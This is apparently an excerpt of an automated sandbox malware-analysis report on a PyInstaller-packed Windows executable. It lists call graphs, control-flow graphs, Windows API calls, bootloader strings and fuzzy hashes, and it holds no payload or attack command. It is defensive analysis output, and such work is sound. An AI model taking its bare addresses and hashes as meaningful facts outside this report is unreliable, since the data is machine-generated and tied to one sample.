__free_lconv_num 11 API calls 19645->19646 19647 7ff79d06b125 19646->19647 19652 7ff79d06af04 19647->19652 19666 7ff79d070348 EnterCriticalSection 19652->19666 20536 7ff79d069dc0 20539 7ff79d069d3c 20536->20539 20546 7ff79d070348 EnterCriticalSection 20539->20546 19668 7ff79d07ae6e 19669 7ff79d07ae7d 19668->19669 19670 7ff79d07ae87 19668->19670 19672 7ff79d0703a8 LeaveCriticalSection 19669->19672 20553 7ff79d07add9 20556 7ff79d0654e8 LeaveCriticalSection 20553->20556 20388 7ff79d06c590 20399 7ff79d070348 EnterCriticalSection 20388->20399 20638 7ff79d06f9fc 20639 7ff79d06fbee 20638->20639 20641 7ff79d06fa3e _isindst 20638->20641 20640 7ff79d064f78 _set_fmode 11 API calls 20639->20640 20658 7ff79d06fbde 20640->20658 20641->20639 20644 7ff79d06fabe _isindst 20641->20644 20642 7ff79d05c5c0 _log10_special 8 API calls 20643 7ff79d06fc09 20642->20643 20659 7ff79d076204 20644->20659 20649 7ff79d06fc1a 20650 7ff79d06a970 _isindst 17 API calls 20649->20650 20652 7ff79d06fc2e 20650->20652 20656 7ff79d06fb1b 20656->20658 20684 7ff79d076248 20656->20684 20658->20642 20660 7ff79d076213 20659->20660 20661 7ff79d06fadc 20659->20661 20691 7ff79d070348 EnterCriticalSection 20660->20691 20666 7ff79d075608 20661->20666 20667 7ff79d06faf1 20666->20667 20668 7ff79d075611 20666->20668 20667->20649 20672 7ff79d075638 20667->20672 20669 7ff79d064f78 _set_fmode 11 API calls 20668->20669 20670 7ff79d075616 20669->20670 20671 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 20670->20671 20671->20667 20673 7ff79d06fb02 20672->20673 20674 7ff79d075641 20672->20674 20673->20649 20678 7ff79d075668 20673->20678 20675 7ff79d064f78 _set_fmode 11 API calls 20674->20675 20676 7ff79d075646 20675->20676 20677 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 20676->20677 20677->20673 20679 7ff79d06fb13 20678->20679 20680 7ff79d075671 20678->20680 20679->20649 20679->20656 20681 7ff79d064f78 _set_fmode 11 API calls 20680->20681 20682 7ff79d075676 20681->20682 20683 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 20682->20683 20683->20679 20692 7ff79d070348 EnterCriticalSection 20684->20692 19698 7ff79d065480 19699 7ff79d06548b 19698->19699 19707 7ff79d06f314 19699->19707 19720 7ff79d070348 EnterCriticalSection 19707->19720

                                                                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                                                                          Function 00007FF79D058BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 0 7ff79d058bd0-7ff79d058d16 call 7ff79d05c8c0 call 7ff79d059400 SetConsoleCtrlHandler GetStartupInfoW call 7ff79d065460 call 7ff79d06a4ec call 7ff79d06878c call 7ff79d065460 call 7ff79d06a4ec call 7ff79d06878c call 7ff79d065460 call 7ff79d06a4ec call 7ff79d06878c GetCommandLineW CreateProcessW 23 7ff79d058d3d-7ff79d058d79 RegisterClassW 0->23 24 7ff79d058d18-7ff79d058d38 GetLastError call 7ff79d052c50 0->24 26 7ff79d058d7b GetLastError 23->26 27 7ff79d058d81-7ff79d058dd5 CreateWindowExW 23->27 32 7ff79d059029-7ff79d05904f call 7ff79d05c5c0 24->32 26->27 28 7ff79d058dd7-7ff79d058ddd GetLastError 27->28 29 7ff79d058ddf-7ff79d058de4 ShowWindow 27->29 31 7ff79d058dea-7ff79d058dfa WaitForSingleObject 28->31 29->31 34 7ff79d058dfc 31->34 35 7ff79d058e78-7ff79d058e7f 31->35 37 7ff79d058e00-7ff79d058e03 34->37 38 7ff79d058ec2-7ff79d058ec9 35->38 39 7ff79d058e81-7ff79d058e91 WaitForSingleObject 35->39 42 7ff79d058e0b-7ff79d058e12 37->42 43 7ff79d058e05 GetLastError 37->43 40 7ff79d058fb0-7ff79d058fc9 GetMessageW 38->40 41 7ff79d058ecf-7ff79d058ee5 QueryPerformanceFrequency QueryPerformanceCounter 38->41 44 7ff79d058fe8-7ff79d058ff2 39->44 45 7ff79d058e97-7ff79d058ea7 TerminateProcess 39->45 48 7ff79d058fcb-7ff79d058fd9 TranslateMessage DispatchMessageW 40->48 49 7ff79d058fdf-7ff79d058fe6 40->49 46 7ff79d058ef0-7ff79d058f28 MsgWaitForMultipleObjects PeekMessageW 41->46 42->39 47 7ff79d058e14-7ff79d058e31 PeekMessageW 42->47 43->42 50 7ff79d058ff4-7ff79d058ffa DestroyWindow 44->50 51 7ff79d059001-7ff79d059025 GetExitCodeProcess CloseHandle * 2 44->51 52 7ff79d058ea9 GetLastError 45->52 53 7ff79d058eaf-7ff79d058ebd WaitForSingleObject 45->53 54 7ff79d058f2a 46->54 55 7ff79d058f63-7ff79d058f6a 46->55 56 7ff79d058e33-7ff79d058e64 TranslateMessage DispatchMessageW PeekMessageW 47->56 57 7ff79d058e66-7ff79d058e76 WaitForSingleObject 47->57 48->49 49->40 49->44 50->51 51->32 52->53 53->44 58 7ff79d058f30-7ff79d058f61 TranslateMessage DispatchMessageW PeekMessageW 54->58 55->40 59 7ff79d058f6c-7ff79d058f95 QueryPerformanceCounter 55->59 56->56 56->57 57->35 57->37 58->55 58->58 59->46 60 7ff79d058f9b-7ff79d058fa2 59->60 60->44 61 7ff79d058fa4-7ff79d058fa8 60->61 61->40
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
                                                                                                                                                                                                                                          • String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
                                                                                                                                                                                                                                          • API String ID: 3832162212-3165540532
                                                                                                                                                                                                                                          • Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                          • Instruction ID: b1a9c8493032fd0d74434fdf7b16d39a7f191a38fd765f12e5392a8fd81adfc6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 37D16132A0CA8286EB20AF79E8552BDB764FB84B58F800235DE9D57B94EF3CD544C750
                                                                                                                                                                                                                                          Function 00007FF79D051000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 62 7ff79d051000-7ff79d053806 call 7ff79d05fe88 call 7ff79d05fe90 call 7ff79d05c8c0 call 7ff79d065460 call 7ff79d0654f4 call 7ff79d0536b0 76 7ff79d053808-7ff79d05380f 62->76 77 7ff79d053814-7ff79d053836 call 7ff79d051950 62->77 78 7ff79d053c97-7ff79d053cb2 call 7ff79d05c5c0 76->78 82 7ff79d05391b-7ff79d053931 call 7ff79d0545b0 77->82 83 7ff79d05383c-7ff79d053856 call 7ff79d051c80 77->83 89 7ff79d05396a-7ff79d05397f call 7ff79d052710 82->89 90 7ff79d053933-7ff79d053960 call 7ff79d057f80 82->90 87 7ff79d05385b-7ff79d05389b call 7ff79d058a20 83->87 97 7ff79d05389d-7ff79d0538a3 87->97 98 7ff79d0538c1-7ff79d0538cc call 7ff79d064fa0 87->98 102 7ff79d053c8f 89->102 100 7ff79d053984-7ff79d0539a6 call 7ff79d051c80 90->100 101 7ff79d053962-7ff79d053965 call 7ff79d0600bc 90->101 103 7ff79d0538a5-7ff79d0538ad 97->103 104 7ff79d0538af-7ff79d0538bd call 7ff79d058b90 97->104 109 7ff79d0539fc-7ff79d053a2a call 7ff79d058b30 call 7ff79d058b90 * 3 98->109 110 7ff79d0538d2-7ff79d0538e1 call 7ff79d058a20 98->110 115 7ff79d0539b0-7ff79d0539b9 100->115 101->89 102->78 103->104 104->98 138 7ff79d053a2f-7ff79d053a3e call 7ff79d058a20 109->138 119 7ff79d0538e7-7ff79d0538ed 110->119 120 7ff79d0539f4-7ff79d0539f7 call 7ff79d064fa0 110->120 115->115 118 7ff79d0539bb-7ff79d0539d8 call 7ff79d051950 115->118 118->87 130 7ff79d0539de-7ff79d0539ef call 7ff79d052710 118->130 124 7ff79d0538f0-7ff79d0538fc 119->124 120->109 127 7ff79d0538fe-7ff79d053903 124->127 128 7ff79d053905-7ff79d053908 124->128 127->124 127->128 128->120 132 7ff79d05390e-7ff79d053916 call 7ff79d064fa0 128->132 130->102 132->138 141 7ff79d053a44-7ff79d053a47 138->141 142 7ff79d053b45-7ff79d053b53 138->142 141->142 143 7ff79d053a4d-7ff79d053a50 141->143 144 7ff79d053a67 142->144 145 7ff79d053b59-7ff79d053b5d 142->145 146 7ff79d053b14-7ff79d053b17 143->146 147 7ff79d053a56-7ff79d053a5a 143->147 148 7ff79d053a6b-7ff79d053a90 call 7ff79d064fa0 144->148 145->148 150 7ff79d053b19-7ff79d053b1d 146->150 151 7ff79d053b2f-7ff79d053b40 call 7ff79d052710 146->151 147->146 149 7ff79d053a60 147->149 157 7ff79d053aab-7ff79d053ac0 148->157 158 7ff79d053a92-7ff79d053aa6 call 7ff79d058b30 148->158 149->144 150->151 153 7ff79d053b1f-7ff79d053b2a 150->153 159 7ff79d053c7f-7ff79d053c87 151->159 153->148 161 7ff79d053be8-7ff79d053bfa call 7ff79d058a20 157->161 162 7ff79d053ac6-7ff79d053aca 157->162 158->157 159->102 170 7ff79d053bfc-7ff79d053c02 161->170 171 7ff79d053c2e 161->171 164 7ff79d053bcd-7ff79d053be2 call 7ff79d051940 162->164 165 7ff79d053ad0-7ff79d053ae8 call 7ff79d0652c0 162->165 164->161 164->162 176 7ff79d053aea-7ff79d053b02 call 7ff79d0652c0 165->176 177 7ff79d053b62-7ff79d053b7a call 7ff79d0652c0 165->177 174 7ff79d053c1e-7ff79d053c2c 170->174 175 7ff79d053c04-7ff79d053c1c 170->175 173 7ff79d053c31-7ff79d053c40 call 7ff79d064fa0 171->173 185 7ff79d053c46-7ff79d053c4a 173->185 186 7ff79d053d41-7ff79d053d63 call 7ff79d0544d0 173->186 174->173 175->173 176->164 184 7ff79d053b08-7ff79d053b0f 176->184 187 7ff79d053b7c-7ff79d053b80 177->187 188 7ff79d053b87-7ff79d053b9f call 7ff79d0652c0 177->188 184->164 189 7ff79d053cd4-7ff79d053ce6 call 7ff79d058a20 185->189 190 7ff79d053c50-7ff79d053c5f call 7ff79d0590e0 185->190 201 7ff79d053d65-7ff79d053d6f call 7ff79d054620 186->201 202 7ff79d053d71-7ff79d053d82 call 7ff79d051c80 186->202 187->188 197 7ff79d053bac-7ff79d053bc4 call 7ff79d0652c0 188->197 198 7ff79d053ba1-7ff79d053ba5 188->198 206 7ff79d053ce8-7ff79d053ceb 189->206 207 7ff79d053d35-7ff79d053d3c 189->207 204 7ff79d053cb3-7ff79d053cb6 call 7ff79d058850 190->204 205 7ff79d053c61 190->205 197->164 217 7ff79d053bc6 197->217 198->197 215 7ff79d053d87-7ff79d053d96 201->215 202->215 216 7ff79d053cbb-7ff79d053cbd 204->216 212 7ff79d053c68 call 7ff79d052710 205->212 206->207 213 7ff79d053ced-7ff79d053d10 call 7ff79d051c80 206->213 207->212 225 7ff79d053c6d-7ff79d053c77 212->225 230 7ff79d053d2b-7ff79d053d33 call 7ff79d064fa0 213->230 231 7ff79d053d12-7ff79d053d26 call 7ff79d052710 call 7ff79d064fa0 213->231 220 7ff79d053d98-7ff79d053d9f 215->220 221 7ff79d053dc4-7ff79d053dda call 7ff79d059400 215->221 223 7ff79d053cc8-7ff79d053ccf 216->223 224 7ff79d053cbf-7ff79d053cc6 216->224 217->164 220->221 227 7ff79d053da1-7ff79d053da5 220->227 233 7ff79d053ddc 221->233 234 7ff79d053de8-7ff79d053e04 SetDllDirectoryW 221->234 223->215 224->212 225->159 227->221 228 7ff79d053da7-7ff79d053dbe SetDllDirectoryW LoadLibraryExW 227->228 228->221 230->215 231->225 233->234 237 7ff79d053e0a-7ff79d053e19 call 7ff79d058a20 234->237 238 7ff79d053f01-7ff79d053f08 234->238 251 7ff79d053e1b-7ff79d053e21 237->251 252 7ff79d053e32-7ff79d053e3c call 7ff79d064fa0 237->252 240 7ff79d053ffc-7ff79d054004 238->240 241 7ff79d053f0e-7ff79d053f15 238->241 246 7ff79d054029-7ff79d05405b call 7ff79d0536a0 call 7ff79d053360 call 7ff79d053670 call 7ff79d056fb0 call 7ff79d056d60 240->246 247 7ff79d054006-7ff79d054023 PostMessageW GetMessageW 240->247 241->240 245 7ff79d053f1b-7ff79d053f25 call 7ff79d0533c0 241->245 245->225 258 7ff79d053f2b-7ff79d053f3f call 7ff79d0590c0 245->258 247->246 255 7ff79d053e2d-7ff79d053e2f 251->255 256 7ff79d053e23-7ff79d053e2b 251->256 261 7ff79d053ef2-7ff79d053efc call 7ff79d058b30 252->261 262 7ff79d053e42-7ff79d053e48 252->262 255->252 256->255 271 7ff79d053f64-7ff79d053fa0 call 7ff79d058b30 call 7ff79d058bd0 call 7ff79d056fb0 call 7ff79d056d60 call 7ff79d058ad0 258->271 272 7ff79d053f41-7ff79d053f5e PostMessageW GetMessageW 258->272 261->238 262->261 266 7ff79d053e4e-7ff79d053e54 262->266 269 7ff79d053e56-7ff79d053e58 266->269 270 7ff79d053e5f-7ff79d053e61 266->270 274 7ff79d053e67-7ff79d053e83 call 7ff79d056db0 call 7ff79d057330 269->274 275 7ff79d053e5a 269->275 270->238 270->274 306 7ff79d053fa5-7ff79d053fa7 271->306 272->271 290 7ff79d053e8e-7ff79d053e95 274->290 291 7ff79d053e85-7ff79d053e8c 274->291 275->238 294 7ff79d053e97-7ff79d053ea4 call 7ff79d056df0 290->294 295 7ff79d053eaf-7ff79d053eb9 call 7ff79d0571a0 290->295 293 7ff79d053edb-7ff79d053ef0 call 7ff79d052a50 call 7ff79d056fb0 call 7ff79d056d60 291->293 293->238 294->295 308 7ff79d053ea6-7ff79d053ead 294->308 304 7ff79d053ebb-7ff79d053ec2 295->304 305 7ff79d053ec4-7ff79d053ed2 call 7ff79d0574e0 295->305 304->293 305->238 318 7ff79d053ed4 305->318 310 7ff79d053fe9-7ff79d053ff7 call 7ff79d051900 306->310 311 7ff79d053fa9-7ff79d053fb3 call 7ff79d059200 306->311 308->293 310->225 311->310 321 7ff79d053fb5-7ff79d053fca 311->321 318->293 322 7ff79d053fcc-7ff79d053fdf call 7ff79d052710 call 7ff79d051900 321->322 323 7ff79d053fe4 call 7ff79d052a50 321->323 322->225 323->310
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastModuleName
                                                                                                                                                                                                                                          • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
                                                                                                                                                                                                                                          • API String ID: 2776309574-3273434969
                                                                                                                                                                                                                                          • Opcode ID: a478f4f23ef30f0f7d5f8efd015c0f035d2a0401ac03acd2c1bce2beb9154dc2
                                                                                                                                                                                                                                          • Instruction ID: 11c499e9cf6bd69a4116ebb9d27a0522616c1a3b75af464c06044237212f9b05
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a478f4f23ef30f0f7d5f8efd015c0f035d2a0401ac03acd2c1bce2beb9154dc2
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 67325821E0C68291FA39BB7A98592B9A7A1AF45780FC44432DECD472D6FF2CE554C360
                                                                                                                                                                                                                                          Function 00007FF79D0769D4 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 536 7ff79d0769d4-7ff79d076a47 call 7ff79d076708 539 7ff79d076a49-7ff79d076a52 call 7ff79d064f58 536->539 540 7ff79d076a61-7ff79d076a6b call 7ff79d068590 536->540 545 7ff79d076a55-7ff79d076a5c call 7ff79d064f78 539->545 546 7ff79d076a6d-7ff79d076a84 call 7ff79d064f58 call 7ff79d064f78 540->546 547 7ff79d076a86-7ff79d076aef CreateFileW 540->547 563 7ff79d076da2-7ff79d076dc2 545->563 546->545 548 7ff79d076b6c-7ff79d076b77 GetFileType 547->548 549 7ff79d076af1-7ff79d076af7 547->549 556 7ff79d076b79-7ff79d076bb4 GetLastError call 7ff79d064eec CloseHandle 548->556 557 7ff79d076bca-7ff79d076bd1 548->557 553 7ff79d076b39-7ff79d076b67 GetLastError call 7ff79d064eec 549->553 554 7ff79d076af9-7ff79d076afd 549->554 553->545 554->553 561 7ff79d076aff-7ff79d076b37 CreateFileW 554->561 556->545 571 7ff79d076bba-7ff79d076bc5 call 7ff79d064f78 556->571 559 7ff79d076bd9-7ff79d076bdc 557->559 560 7ff79d076bd3-7ff79d076bd7 557->560 566 7ff79d076be2-7ff79d076c37 call 7ff79d0684a8 559->566 567 7ff79d076bde 559->567 560->566 561->548 561->553 575 7ff79d076c39-7ff79d076c45 call 7ff79d076910 566->575 576 7ff79d076c56-7ff79d076c87 call 7ff79d076488 566->576 567->566 571->545 575->576 583 7ff79d076c47 575->583 581 7ff79d076c8d-7ff79d076ccf 576->581 582 7ff79d076c89-7ff79d076c8b 576->582 585 7ff79d076cf1-7ff79d076cfc 581->585 586 7ff79d076cd1-7ff79d076cd5 581->586 584 7ff79d076c49-7ff79d076c51 call 7ff79d06ab30 582->584 583->584 584->563 588 7ff79d076d02-7ff79d076d06 585->588 589 7ff79d076da0 585->589 586->585 587 7ff79d076cd7-7ff79d076cec 586->587 587->585 588->589 591 7ff79d076d0c-7ff79d076d51 CloseHandle CreateFileW 588->591 589->563 593 7ff79d076d86-7ff79d076d9b 591->593 594 7ff79d076d53-7ff79d076d81 GetLastError call 7ff79d064eec call 7ff79d0686d0 591->594 593->589 594->593
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1617910340-0
                                                                                                                                                                                                                                          • Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                          • Instruction ID: 5ecfd41fb02f1ed0535d22e906e61fabfe90fa32b833e119af3523f97dfdd2a0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9DC1B232B28A4185EB60EFB9C8902BC7761F749B98B815225DA9E9B7D4EF38D451C310
                                                                                                                                                                                                                                          Function 00007FF79D0583B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FindFirstFileW.KERNELBASE(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D05841B
                                                                                                                                                                                                                                          • RemoveDirectoryW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D05849E
                                                                                                                                                                                                                                          • DeleteFileW.KERNELBASE(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584BD
                                                                                                                                                                                                                                          • FindNextFileW.KERNELBASE(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584CB
                                                                                                                                                                                                                                          • FindClose.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584DC
                                                                                                                                                                                                                                          • RemoveDirectoryW.KERNELBASE(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584E5
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                                                                                                                                                                                                          • String ID: %s\*
                                                                                                                                                                                                                                          • API String ID: 1057558799-766152087
                                                                                                                                                                                                                                          • Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                          • Instruction ID: ff3509a69f88eefa61c878001aa7ed6fdb7a4b4144746b82e8ad4a2e5b4ca26f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EB413221A0D58285EA30BB79E4495B9A360FB98754FC00636DDDD476D4FF3CD946CB20
                                                                                                                                                                                                                                          Function 00007FF79D0592F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2295610775-0
                                                                                                                                                                                                                                          • Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                          • Instruction ID: cc327a817d97e3ddfba185ec94217155a297144cd598c67ef783b68e0a2760c1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6CF04432A1C741C6F7709F79B44976AA350EB84768F840235DAED06AD4EF3CD0498A10
                                                                                                                                                                                                                                          Function 00007FF79D070938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
